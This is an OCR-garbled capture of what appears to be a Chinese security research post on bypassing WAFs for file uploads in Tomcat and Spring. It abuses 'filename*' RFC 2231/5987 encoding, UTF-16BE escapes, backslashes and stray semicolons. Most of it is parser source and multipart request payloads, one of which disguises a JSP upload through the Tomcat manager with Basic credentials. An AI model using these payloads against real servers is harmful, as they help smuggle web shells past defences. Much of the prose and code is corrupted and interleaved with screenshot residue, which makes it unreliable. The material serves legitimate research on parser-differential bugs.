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Cache-Control: max-age=0
Ssrc Authorization: Basic dG9tY2F@MTp@b21jYXQx
Upgrade-Insecure—Requests: 1
Origin: http://10.133.30.26
webapps Content-Type: multipart/form-data;
manager boundary=———-WebKitFormBoundaryQKTY1Moms ixvN8vX

target

y4.war Safari/537.36 Edg/102.0.1245.39
il Accept:

pom.xml png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.133.30.26/manager/html

External Libraries X .
Accept-Encoding: gzip, deflate

Scratches and Consoles Accept-Language: zh-CN,zh;g=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=629949CE84EQ910945F243EA62A9B4476; amp_fecbhd8=
KyMhurhMzh6fafymhbelKD.MTESNzM=..1g5tkj2td.1lg5tmgbaf.3.1.4
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String upload(HttpServletRequest request, StringManager smClient) A

String message =

( ) A
Part warPart = request.getPart( )

(warPart == ) {

message = smClient.getString(

}
String filename = waPPart.getSubmittedFileNamd[)
(!filename.tolLowerCase(Locale. ) .endsWith( )) {

message = smClient.getString(

filename)

(filename.lastIndex0f(

filename =

) >=

) A

filename.substring(filename.lastIndex0f(

RN E2EFELIE org.apache.catalina.core.ApplicationPart#getSubmittedFileName

X EB3REYfilenamefRHMERILM IR R E#R

1 result

il
-4

getSubmittedFileName

ouveririLue
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getSubmittedFileName
String fileName =

String

String cd = getHeader( )
(cd != ) A

String cdl = cd.toLowerCase(Locale. )
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(cdl.startsWith( ) || edl.startsWith(

ParameterParser paramParser = ParameterParser()

paramParser.setLowerCaseNames( )

Map<String, String> params = paramParser.parse(cd

(params.containsKey( )) {

fileName = params.get( )

(fileName != ) {

(fileName.index0f( ) > -1) {

fileName = HttpParser.unquote(fileName.trim())
{

fileName fileName.trim()

fileName =

fileName

BRXERERE, KRITERFC 6266 M4 H iz HiIX =



https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/2.png

Avoid including the "\" character in the quoted-string form of the filename parameter, as escaping is not

implemented by some user agents, and "\" can be considered an illegal path character.

BBAFAIBtomcat 2 UNAIAMRRIE? X B E @I K2 HttpParser.unquote EFITAE

public static String unquote(String input) {
if (input == null || input.length() < 2) {

return input;

int start;

int end;

// Skip surrounding quotes if there are any

if (input.charAt(0) == """') {
start = 1;
end = input.length() - 1;
} else {
start = 0;

end = input.length();

StringBuilder result = new StringBuilder();
for (int i = start ; i < end; i++) {
char ¢ = input.charAt(i);
if (input.charAt(i) == '\\'") {
i++;
result.append(input.charAt(i));
} else {
result.append(c);

}

return result.toString();
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@0verride
String getSubmittedFileName() {

String fileName =
String cd = getHeader(
(cd != ) o

String cdl = cd.toLowerCase(Locale. )
(cdl.startsWith( ) || cdl.startsWith(

ParameterParser paramParser = ParameterParser()

paramParser.setLowerCaseNames ( )

Map<String, String> params = paramParser.parse(cd

(narame cnantaincKevu( AR}

(fileName != ) {
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Map<String, String> parse(
[1 charArray
offset
length

separator) {

(charArray == ) {
HashMap<>()

HashMap<String, String> params = HashMap<>()
= charArray.clone()
offset
length

String paramName
String paramValue
(hasChar()) {
paramName = parseToken(
separator })
paramValue =
(hasChar() && (charArray[pos] == )) A
++
paramValue = parseQuotedToken(

separator })

(paramValue != ) {
{
paramValue = RFC2231Utility.hasEncodedValue(paramName) ? RFC2231Utility.decodeText(paramValue)
: MimeUtility.decodeText(paramValue)

UnsupportedEncodingException e) {
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FERX—IEMABDZIRT, BEARELRATMSIFQPH, T THNAMELHEERZAENXE]avaXff EXRES-Lwaf(fXfcommons-
fileupload/84), XEMABEE XM, HNERE=TTEENRIHINXE
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public static boolean hasEncodedValue(final String paramName) {

if (paramName != null) {

return paramName.lastIndexOf('*') == (paramName.length() - 1);
}
return false;

EEBBREZAIBATRIMTEBRFC 2231 XS P LLAYER, RXEIZREENENAT UL —T, XEMAUEHXT

Asterisks ("*") are reused to provide the indicator that language and character set information is present and

encoding is being used. A single quote ( ) is used to delimit the character set and language information at the
beginning of the parameter value. Percent signs ("%") are used as the encoding flag, which agrees with RFC 2047.
Specifically, an asterisk at the end of a parameter name acts as an indicator that character set and language
information may appear at the beginning of the parameter value. A single quote is used to separate the character
set, language, and actual value information in the parameter value string, and an percent sign is used to flag
octets encoded in hexadecimal. For example:

Content-Type: application/x-stuff;

title*=us-ascii'en-us'This%20is%20%2A%2A%2Afun%2A%2A%2A

ETREZER, BAIBEEEXTELBMHT LM

public static String decodeText(final String encodedText) throws UnsupportedEncodingException {
final int langDelimitStart = encodedText.indexOf('\'"');
if (langDelimitStart == -1) {
// missing charset
return encodedText;
}
final String mimeCharset = encodedText.substring(0, langDelimitStart);
final int langDelimitEnd = encodedText.indexOf('\'', langDelimitStart + 1);
if (langDelimitEnd == -1) {

// missing language
return encodedText;
}
final byte[] bytes = fromHex(encodedText.substring(langDelimitEnd + 1));

return new String(bytes, getJavaCharset(mimeCharset));
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https://datatracker.ietf.org/doc/html/rfc2231#section-4
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private static byte[] fromHex(final String text) {
final int shift = 4;
final ByteArrayOutputStream out = new ByteArrayOutputStream(text.length());
for (int i = 0; i < text.length();) {
final char ¢ = text.charAt(i++);
if (¢ == '%") {
if (i > text.length() - 2) {
break; // unterminated sequence
}
final byte bl = HEX DECODE[text.charAt(i++) & MASK];
final byte b2 = HEX DECODE[text.charAt(i++) & MASK];
out.write((bl << shift) | b2);

} else {
out.write( (byte) c);

}

return out.toByteArray():;
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Locale locale = Locale.getDefault();
Map<String, Charset> maps = Charset.availableCharsets();
StringBuilder sb = new StringBuilder();
sb.append("{");
for (Map.Entry<String, Charset> entry : maps.entrySet()) {
String key = entry.getKey();
Charset value = entry.getValue();
sb.append("\"" + key + "\",");
}
sb.deleteCharAt(sb.length() - 1);
sb.append("}");
System.out.println(sb.toString());

TR

//res

{"Big5", "Big5-HKSCS", "CESU-8","EUC-JP", "EUC-KR","GB18030","GB2312","GBK", "IBM-
Thai","IBM00858","IBM01140","IBM01141","IBM01142","IBM01143","IBM01144","IBM01145","IBM01146","IBM01147","IBM01148",
"IBM0O1149","IBM037","IBM1026","IBM1047","IBM273","IBM277","IBM278","IBM280","IBM284", "IBM285", "IBM290","IBM297", "IBM
420" ,"IBM424","IBM437","IBM500","IBM775","IBM850", "IBM852", "IBM855", "IBM857", "IBM860", "IBM861", "IBM862", "IBM863", "IB
M864","IBM865","IBM866","IBM868", "IBM869", "IBM870","IBM871","IBM918","IS0-2022-CN", "IS0-2022-JP","IS0-2022-JP-
2","IS0-2022-KR","150-8859-1","1S0-8859-13","150-8859-15","150-8859-2","1S0-8859-3","IS0O-8859-4","IS0-8859-5","ISO-
8859-6","ISO-8859-7","IS0-8859-8","IS0-8859-9","JIS X0201","JIS X0212-1990","KOI8-R","KOI8-U","sSshift JIS","TIS-
620", "US-ASCII","UTF-16","UTF-16BE", "UTF-16LE", "UTF-32", "UTF-32BE", "UTF-32LE", "UTF-8", "windows-1250", "windows-
1251", "windows-1252", "windows-1253", "windows-1254", "windows-1255", "windows-1256", "windows-1257", "windows-

1258", "windows-313j", "x-Big5-HKSCS-2001", "x-Big5-Solaris", "x-COMPOUND TEXT", "x-euc-jp-linux","x-EUC-TW", "x-eucJP-
Open","x-IBM1006","x-IBM1025", "x-IBM1046","x-IBM1097","x-IBM1098","x-IBM1112","x-IBM1122", "x-IBM1123", "x-
IBM1124","x-IBM1166","x-IBM1364","x-IBM1381","x-IBM1383","x-IBM300", "x-IBM33722","x-IBM737", "x-IBM833", "x-
IBM834","x-IBM856","x-IBM874","x-IBM875", "x-IBM921","x-IBM922", "x-IBM930", "x-IBM933", "x-IBM935", "x-IBM937", "x~-
IBM939", "x-IBM942","x-IBM942C", "x-IBM943","x-IBM943C", "x-IBM948", "x-IBM949", "x-IBM949C", "x-IBM950", "x-IBM964", "x~
IBM970","x-ISCII91","x-IS0-2022-CN-CNS","x-IS0-2022-CN-GB", "x-is0o-8859-11","x-JIS0208", "x-JISAutoDetect", "x-

Johab" , "x-MacArabic", "x-MacCentralEurope", "x-MacCroatian", "x-MacCyrillic", "x-MacDingbat", "x-MacGreek", "x-
MacHebrew", "x-MacIceland", "x-MacRoman", "x-MacRomania", "x-MacSymbol", "x-MacThai", "x-MacTurkish", "x-MacUkraine", "x-
MS932_0213","x-MS950-HKSCS", "x-MS950-HKSCS-XP", "x-mswin-936", "x-PCK", "x-SJIS_0213","x-UTF-16LE-BOM", "X-UTF-32BE-
BOM", "X-UTF-32LE-BOM", "x-windows-50220", "x-windows-50221", "x-windows-874", "x-windows-949", "x-windows-950", "x-

windows-is02022jp"}
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Pretty Hex E n =

1 POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=
3D672936C9248499A5800B7AB7662CBF HTTP/1.1

Host: 10.133.30.26

Content-Length: 282

Cache-Control: max—age=0

Authorization: Basic dG9tY2F@OnRvbWNhdA==

Upgrade-Insecure-Requests: 1

Origin: http://10.133.30.26

Content-Type: multipart/form-data; boundary=—---WebKitFormBoundaryQKTY1MomsixvN8vX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 18_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/1062.0.1245.39

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,image/apng,*/*;q=0
.8,application/signed-exchange;v=b3;q=0.9

Referer: http://10.133.30.26/manager/html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: JSESSIONID=79A71446A8EECD5B4958B324F4813991; amp_fechd8=
KyMhurhMzZh6fafymhbelKD.MTE5NzM=..1g5tkj2td.1g5tkln51.2.1.3

Connection: close

® woNOUbAWN

Bl

n

37— WebKitFormBoundaryQKTY1MomsixvN8vX

.8 Content-Disposition: form-data;
namex="UTF-16BE'Y4tacker'%00d%00e%00p%001%000%00y%00Ws00a%00r" ;
filenamex="UTF-16BE'Y4tacker'%001%00.%00w%00a%00r"

.9 Content-Type: application/octet-stream

'1 123

'3 — WebKitFormBoundaryQKTY1Moms ixvN8vX——

NI A ITEESES LEM filename=""y\4.\w\arkK" ¥} filename="UTF-
16BE'Y4tacker'%00%22%00y%00%5C%004%00.%00%5C%00w%00%5C%00a%00rs00K"
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String paramName
String paramValue
(hasChar()) {
paramName = parseToken(
separator })
paramValue =
(hasChar() && (charArray[pos] == ) {
++
paramValue = parseQuotedToken(

separator })

(paramValue != ) {

{
paramValue = RFC2231Utility.hasEncodedValue(paramName) ? RFC2231Utility.decodeText(paramValue)
: MimeUtility.decodeText(paramValue)

UnsupportedEncodingException e) {

(hasChar() && (charArray[ 1 == separator)) {

++

(QELENENEE ) && !paramName.isEmpty()) {
paramName = RFC2231Utility.stripDelimiter(paramName)
( : ) {
paramName = paramName.tolLowerCase(Locale.
F

params.put(paramName, paramValue)

params
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Content-Disposition: form-data*;;;;;;;;;;name*="UTF-
16BE'Y4tacker'%00d%00e%00p%001%000%00y200Ws00a%00r";;;;5;;;;filename*="UTF-
16BE'Y4tacker'$00%22%00y%00%5C%004%00.%00%5C%00w200%5C%00a%00r300K"

Content-Type: application/octet-stream

123

------ WebKitFormBoundaryQKTY1Moms ixvN8vX—-—

PIAE R ARTH L&

test Content-Type: multipart/form-data;
N boundary=-——--WebKitFormBoundaryQKTY1MomsixvN8vX
target User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
v [ webapps AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Tomcat chﬁzmﬂﬁﬁﬁ%
5 manager Safari/537.36 Edg/102.0.1245.39
Accept:
> ROOT text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, image/a W
y4.war png,*/%*;q=0.8,application/signed-exchange;v=b3;q=0.9 0K
Referer: http://10.133.30.26/manager/html A
work Accept—Encoding: gzip, deflate
pom.xml Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
N . . Cookie: JSESSIONID=629949CE84E910945F243EA62A9B4476; amp_fechd8= %Eég
External Libraries KyMhurhMZh6 fafymhbe1KD.MTESNzM=. . 1g5tkj2td. 1g5tmgbaf.3.1. 4
> Scratches and Consoles Connection: close 'EELEEI HTMLASEUAES | S r#E 3 Az WL
RE e Gl 17 ZzooTepKitFormBoundaryOKTY ops ixwNevX & i i &

i E$72022-06-20
XENMRERARZTomcat8.5.72, XEWAEENEMMRAEZES T RERMHE—FMEI

UL EM ERRIE AT A —LE5rORA, EXMEN org.apache.tomcat.util.http.fileupload.ParameterParser#parse(char([], int,
int, char) REGHITRANDMT

TESREVERVAY{R paramValue = parseQuotedToken(new char[] {separator });, HLERBHOIRF ; 28, EHHMNAEEEFIENRAES
AUARRE " #TEE, fEparseQuotedTokengx/FiREIEAAIE return getToken(true); , X PMREBREEBEMA N ZERF

private String getToken(final boolean quoted) {

// Trim leading white spaces

while ((il < i2) && (Character.isWhitespace(chars[il]))) {
il++;

}

// Trim trailing white spaces

while ((i2 > il) && (Character.isWhitespace(chars[i2 - 1]))) {
i2--;

}

// Strip away quotation marks if necessary


https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/9.png

if (quoted
&& ((i2 - i1) >= 2)
&& (chars[il] == """)
&& (chars[i2 - 1] == """)) {
il++;
i2--;
}
String result = null;
if (i2 > i1) {
result = new String(chars, il, i2 - il);
}

return result;

FIMNERIXEWZEMINIR AR

7| - WebKitFormBoundaryQKTY1MomsixvN8vX 7

8 Content-Disposition: form-data*;;;;;:::; 8
;namex="UTF-16BE'Y4tacker'%00d%00e%00p%001%000%00y%s00Ws00a%00r";;;;::; 9
; filenamex*=UTF-16BE'Y4tacker '%00%22%00y%00%5C%004%00 . %00%5C%00j%00%5C%005%00p%00K]| 10

9 Content—Type: application/octet—stream 11

@ 12 y4.jsp

1 123 13

p ) E— WebKitFormBoundaryQKTY1Moms ixvN8vX—— 14

3

BEFAVEAF parse BT S HITRAI AR EIR, FEEgetTokenRHAENTIUFBERE—TSHREIMALEN ; 7, HEHBITTED
params.get ("filename") JKENZS ﬁf:if 8% org.apache.tomcat.util.http.parser.HttpParser#unquote IFH A AR F LB IRTHS

ATENMXEMRERBEXT, 220 RESH


https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/21.png

6 6 Connection:
7 —— WebKitFormBoundaryQKTY1MomsixvN8vX 7
8 Content-Disposition: form-data;name="file";filename="y4\.jspZ 8
9 Content-Type: application/octet—stream 9
10 10
11 123 11
12— WebKitFormBoundaryQKTY1MomsixvN8vX—— 12 y4.jsp
13 13
14

T AFIAE

MERZwarg@iR, ZZOOTIMERER, ERMNXSREETHRERMR— X8

Part warPart = request.getPart("deployWar");

String filename = warPart.getSubmittedFileName();

close

BEEREAX, TAURIIMServlet3. 1718, tomcatiitg 7 Wbz, thmBEREERET
javax.servlet.http.HttpServletRequest#getParts BIA], BN TH NI LENRIBABUREEAAAR, BETERUAER, #ALE
SiEIaE)

getSubmittedFileName

String getSubmittedFileName()

Gets the file name specified by the client
Returns:

the submitted file name

Since:

Servlet 3.1

E§iSpring 2022-06-20

B LRREEFRIRINE, EREXET FHRITNEK, BEXTAHERIESpring@ & thigiR TRFCAISLINIE (5

AJRER B EMRIE)

ESpringE& 7 Tomcat,


https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/22.png
https://docs.oracle.com/javaee/7/api/javax/servlet/http/Part.html#getSubmittedFileName--

Content-Disposition: attachment; filename*= UTF-8''%e2%82%ac%20rates

= FHZIRE IMEL, BEREEM RS, BIEREEN RATNRMARD Hi3EHN XHEHE.

HEB & filename F filename* B HIAYE R T, IREB RFCMN HZRE filename=, XA filename*=

o

XN E—L EESIPEIUEEIEFN, RAARZSHTIREERIA filename XFHIEIL, U
Gitlab 89— xss/BFiEH I https://hackerone.com/reports/1212067

Normally file uploads would go through workhorse and end up being sanitized by CarrierWave::SanitizedFile, but it's possible when uploading a design to
skip the workhorse by usinga content-Disposition header suchas cContent-Disposition: form-data; name="1"; filename#*=ASCII-

8BIT''filename.png which allows for any character to be used as part of the design filename.

CarrierWave::SanitizedFile ¥ filename #4177 133E, {EFIFH

Content-Disposition: form-data; name="1"; filename*=ASCII-

8BIT' 'bbb%22class$%$3D%22gfm%22a%3D%27.png

EEEERZEET bbb%22class%3D%22g9fm%22a%3D%27.png #tiEZIntmIqdr, FHHEEEER
[FAR, MAER5|SEMXSS

bbb"class="gfm"a="'.png

BARZMBEMNERTE SRR K, NIEMXNRBEA—TRITHIE

Spring B EA MR M T AR X4 _EfEMultipartFilef9#& O
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public interface MultipartFile extends InputStreamSource {

String getName(); //3RENZE&

@Nullable

String getOriginalFilename();//[RIBHIS{EE

@Nullable

String getContentType();//HNAZEE

boolean isEmpty();

long getSize(); //K/N\

byte[] getBytes() throws IOException;// JREVFTEE

InputStream getInputStream() throws IOException;//LAi/azV#H1TiEEY

default Resource getResource() {
return new MultipartFileResource(this);

}

/1 B EENXEE NGRS

void transferTo(File varl) throws IOException, IllegalStateException;

// BAN¥EZEpath

default void transferTo(Path dest) throws IOException, IllegalStateException {
FileCopyUtils.copy(this.getInputStream(), Files.newOutputStream(dest));

mspring®h B4 HEZ BN B AXEEET
org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest , PP F{Edemosk#H1TMNE o

M
Spring4
XEFHMAE T springbootl.5.20.RELEASE W& Spring4.3.23, B NNRAZEEEEESXEMIABERER

;iqqaéa:org.springframework.web.multipart.support.StandardMultiparthtpServ1etRequest#parseRequestE@ﬂﬁﬁﬁtﬁ%ﬁ%gﬂzﬁﬂ

private void parseRequest(HttpServletRequest request) {
try {
Collection<Part> parts = request.getParts();
this.multipartParameterNames = new LinkedHashSet (parts.size());
MultivalueMap<String, MultipartFile> files = new LinkedMultiValueMap (parts.size());

Iterator var4 = parts.iterator();

while(var4.hasNext()) {

Part part = (Part)varéd.next();



String disposition = part.getHeader('"content-disposition");
String filename = this.extractFilename(disposition);
if (filename == null) {

filename = this.extractFilenameWithCharset(disposition);

}
if (filename != null) {
files.add(part.getName(), new StandardMultipartHttpServletRequest.StandardMultipartFile(part,
filename));
} else {
this.multipartParameterNames.add(part.getName());
}

this.setMultipartFiles(files);
} catch (Throwable var8) {

throw new MultipartException("Could not parse multipart servlet request", var8);

AT TMtomcatZBIM D ITRIG, XESpringd HHERNtBREXF filename* {AY

String extractFilename(String contentDisposition) {

.extractFilename(contentDisposition

String extractFilenameWithCharset(String contentDisposition) {

String filename = .extractFilename(contentDisposition
(filename == ) o

BERMZHE

private String extractFilename(String contentDisposition, String key) {

if (contentDisposition == null) {
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return null;
} else {
int startIndex = contentDisposition.indexOf (key);
if (startIndex == -1) {
return null;
} else {
/ /8B filename=FEHNASD
String filename = contentDisposition.substring(startIndex + key.length());
int endIndex;
/IR EEFAZWEE "« 2 BRAS
if (filename.startsWith("\"")) {
endIndex = filename.indexOf("\"", 1);
if (endIndex != -1) {
return filename.substring(l, endIndex);
}
} else {
//FIREBERNFR R E  BREAIWAIN, ZMARKFIDZNEP—trickE@RFEHRY
endIndex = filename.indexOf(";");
if (endIndex != -1) {

return filename.substring(0, endIndex);

return filename;

EEMt—KE, SO0FER—N
Pretty Hex E n| = Pretty BMEEWM Hex Render E n| =

1 POST /uploads HTTP/1.1 1 HTTP/1.1 200

2 Host: 10.133.61.225| 2 X-Application-Context: application:808@
3 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQKTY1MomsixvN8vX 3 Content-Type: text/plain;charset=UTF-8
4 Connection: close 4 Content-Length: 13

5 Content-Length: 202 5 Date: Mon, 20 Jun 2022 02:30:42 GMT

6 6 Connection: close

7 ————- WebKitFormBoundaryQKTY1MomsixvN8vX 7

8 Content-Disposition: form-data;name="file";filename*x=utf8'y4'l.txt 8 /upload/1.txt

9 Content-Type: application/octet-stream

/]

1 123

2

3 ——- WebKitFormBoundaryQKTY1MomsixvN8vX——

&
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noyucotl

Pretty m Hex E n =

o b wNE=

POST /uploads HTTP/1.1
Host: 10.133.61.225

Content-Type: multipart/form-data; boundary=——--WebKitFormBoundaryQKTY1MomsixvN8vX

Connection: close
Content-Length: 204

—————— WebKitFormBoundaryQKTY1MomsixvN8vX
Content-Disposition: form—data;name:"file";filename*:"utf&'y4'1.txtﬂ
Content-Type: application/octet-stream

123

—————— WebKitFormBoundaryQKTY1Moms ixvN8vX——

ERY T indexof BRIABEE—{I, FEUEIHATERI AN —LEFMFRFRINRIZwaliB4E

vy uso

Pretty m Hex B n | =

POST /uploads HTTP/1.1

Host: 10.133.61.225

Content-Type: multipart/form-data; boundary=———-WebKitFormBoundaryQKTY1MomsixvN8vX
Connection: close

Content-Length: 219

—————— WebKitFormBoundaryQKTY1Moms ixvN8vX
Content-Disposition: form-data;name="file";filenamex="utf8'y4'1.txt";;;ydtacker;
Content-Type: application/octet-stream

123

—————— WebKitFormBoundaryQKTY1Moms ixvN8vX——

WNRfilename* Fk{BEspringd H % B X Furli#FREH0ER D

ncocopguviiotc

Pretty m Hex Render B n | =

HTTP/1.1 200

X-Application-Context: application:8080
Content-Type: text/plain;charset=UTF-8
Content-Length: 13

Date: Mon, 20 Jun 2022 02:31:02 GMT
Connection: close

o~ s WNR

/upload/1.txt

HNvopvIIow

Pretty m Hex Render \n | =

HTTP/1.1 200

X-Application-Context: application:808@
Content-Type: text/plain;charset=UTF-8
Content-Length: 13

Date: Mon, 20 Jun 2022 ©02:35:42 GMT
Connection: close

o~V A WN =

/upload/1.txt

String extractFilenameWithCharset(String contentDisposition) {

String filename = .extractFilename(contentDisposition

(filename == B |
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https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/17.png
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index = filename.index0f(
(index !'= -1) {

Charset charset =

i

charset = Charset.forName(filename.substring(0, index))

(I1legalArgumentException varé) {

filename = filename.substring(index + 1)
index = filename.index0f( )
(index != -1) {

filename = filename.substring(index + 1)

(charset != ) {

filename = String(filename.getBytes( ), charset)

filename

RERBDZHIMAR? HNRAEECKEHFEDE, XFMENRLI0FTHMERE, Kiga



https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/18.png

2 Host: 10.133.61.225\r \n 2 X-Application-Context: application:8080
3 Content-Type: multipart/form-data; boundary=-—--WebKitFormBoundaryQKTY1MomsixvN8vX 3 Content-Type: application/json;charset=UTF-8
;] \r \n 4 Date: Mon, 20 Jun 2022 ©02:38:33 GMT
4 Connection: close\r \n 5 Connection: close
5 Content-Length: 228 \r \n 6 Content-Length: 253
g 6 \rA\n 7
7 —- WebKitFormBoundaryQKTY1MomsixvN8vX \r \n 8 {
8 Content-Disposition: form-data;name="file"; "timestamp":1655692713660,
r filenamex="utfl6-be'y4'\e1\e, \ot \ox \ot]';;; 17 11 17 y4dtacker; \r \n "status":500,
9 Content-Type: application/octet-stream \r \n "error":"Internal Server Error",
10 \r \n "exception":"java.nio.file.InvalidPathException",
11 123 \n "'message'':
12 \r \n "Nul character not allowed: /Users/y4tacker/Desktop/JavaStudy/ezSb/\u00001\u0000.
§13 —————- WebKitFormBoundaryQKTY1MomsixvN8vX—— \r \n \u@eoot\uoeeex\uoeeoot",
14 "path":"/uploads"
}

EiREspringlEa2fRiTheaderfFE, ERXEREESOREEEMEMUABRERZMET, BRAKAEEREN—FHH
Spring5

thRFEER D HEspringboot2.6.489, KEBspring5H, MEABZRRMNT, ZETMIREMspring5Hspringd 2 B R B RAZEFLIBHHLR
[E, [E#*27E parseRequest

private void parseRequest (HttpServletRequest request) {
try {
Collection<Part> parts = request.getParts();
this.multipartParameterNames = new LinkedHashSet (parts.size());
MultivalueMap<String, MultipartFile> files = new LinkedMultiValueMap(parts.size());

Iterator var4 = parts.iterator();

while(var4d.hasNext()) {
Part part = (Part)vard.next();
String headerValue = part.getHeader('"Content-Disposition");
ContentDisposition disposition = ContentDisposition.parse(headervalue);
String filename = disposition.getFilename();
if (filename != null) {
if (filename.startsWith("=?") && filename.endsWith("?=")) {

filename = StandardMultipartHttpServletRequest.MimeDelegate.decode(filename);

files.add(part.getName(), new StandardMultipartHttpServletRequest.StandardMultipartFile(part,
filename));
} else {

this.multipartParameterNames.add(part.getName());
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this.setMultipartFiles(files);
} catch (Throwable var9) {

this.handleParseFailure(var9);

RIBEFIINEF)X—1T filename.startsWith("=?") && filename.endsWith("?="), BJLAFHSpringd X thEZIFQPYRIG
7 FEEEEFRAR T — MRS org. springframework. http.ContentDisposition#parse

, ZEMEBXET BARLRNT

AIEE—FAHEEQPHEE, B—FHHEEEXH filenane* FEFFREVERHE " ZEMSE S EIMEEEE = SENED

IllegalArgumentException(

String attribute = part.substring(0, eqIndex)
String value = part.startsWith( eqIndex + 1) && part.endsWith( ) ? part.substring(eqIndex + part.length() - 1) : part.substring(egIndex + 1)

(attribute.equals( )) (lattribute.equals( )) o
(attribute.equals( ) && filename == ) (attribute.equals( )) (attribute.equals( )) {
{
creationDate = ZonedDateTime.parse(value, DateTimeFormatter.

(DateTimeParseException var20) {

(attribute.equals( )) A
1{
modificationDate = ZonedDateTime.parse(value, DateTimeFormatter.

(DateTimeParseException var19) {

(attribute.equals( N A
{
readDate = ZonedDateTime.parse(value, DateTimeFormatter.

(DateTimeParseException vari8) {

{

idx1 = value.index0f(39)
idx2 = value.index0f( idx1 + 1)
(idx1 !'= -1 && idx2 != -1) {
charset = Charset.forName (value.substring(@, idx1).trim())

StandardCharsets. .equals(charset) || StandardCharsets. .equals(charset)
filename = decodeFilename(value.substring(idx2 + 1), charset)
1{

filename = decodeFilename(value, StandardCharsets.
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P1RZ filename* [FEHAVMIEZIEH Zelsen 2, FIUNELMBEA) LEDHspringd T 2R RXAIMEXERZFF uTF-8/150-8859-1/US_ASCII, %R
P32 RR

int idxl = value.indexOf(39);
int idx2 = value.indexOf (39, idxl + 1);
if (idxl != -1 && idx2 != -1) {
charset = Charset.forName(value.substring(0, idxl).trim());
Assert.isTrue(StandardCharsets.UTF_8.equals(charset) || StandardCharsets.ISO 8859 l.equals(charset), "Charset
should be UTF-8 or ISO-8859-1");
filename = decodeFilename(value.substring(idx2 + 1), charset);
} else {

filename = decodeFilename(value, StandardCharsets.US ASCII);

BEFARX MNMEREN GRFCIEE KM
i \DdEEe | ALLLLI1 ], DELLLIUILL /)

charset = "UTF-8" / "IS0-8859-1" / mime-charset

mime-charset = l*mime-charsetc

EBEBNBEEESHEENIT decodeFilename
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String decodeFilename(String filename, Charset charset) {
Assert.notNull(filename
Assert.notNull(charset
[1 value = filename.getBytes(charset)
ByteArrayOQutputStream baos = ByteArrayOutputStream()
index =

) {
(index < value. ) {
b = value[index]
(!isRFC5987AttrChar(b)) {
(b I= || index >= value. -2) {

IllegalArgumentException(

[]1 array = [1{C Jvalue[index + 1], ( Jvalue[index + 2]}

{
baos.write(Integer.parseInt(String.valueOf(array)
(NumberFormatException var8) {

IllegalArgumentException(

index +=

1{
baos.write(( )b)

++index

StreamUtils.copyToString(baos, charset)

I ZERIFMF R B AIARMS, R FRBEEE RFC 5987 XAEMERIHeaderFRIMi B I@Abaos.writeE X\

attr-char = ALPHA / DIGIT
/ n ! n / ll#ll / n $ n / n & n / |I+|I /
nAmnN / |I_|I / nsmn / n | n / n __ll

token except ( "*" / "'" / "&" )

WRAAEERZX—UL RE16AHIREBEMA, HIMIurlf#E, RSENhEIq
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1 m Cancel L v[| >|" Target: htt|

Request Response

Pretty Hex E \n

Pretty BREWM Hex Render B n =

1 POST /uploads HTTP/1.1 1 HTTP/1.1 200

2 Host: 10.133.61.225 2 Content-Type: text/plain;charset=UTF-8
3 Content-Type: multipart/form-data; boundary=——--WebKitFormBoundaryQKTY1MomsixvN8vX 3 Content-Length: 13

4 Connection: close 4 Date: Mon, 20 Jun 2022 03:13:40 GMT

5 Content-Length: 210 5 Connection: close

6 6

T [=———=s WebKitFormBoundaryQKTY1MomsixvN8vX 7 /upload/1.txt

8 Content-Disposition: form—data;name=“fi1e";filename*:utfa'y4'1.tx%74tabc=1
9 Content-Type: application/octet-stream

11 123

13 ———— WebKitFormBoundaryQKTY1MomsixvN8vX——

EXE

https://www.ch1ng.com/blog/264.html

https://datatracker.ietf.org/doc/html/rfc6266#section-4.3

https://datatracker.ietf.org/doc/html/rfc2231

https://datatracker.ietf.org/doc/html/rfc5987#section-3.2.1

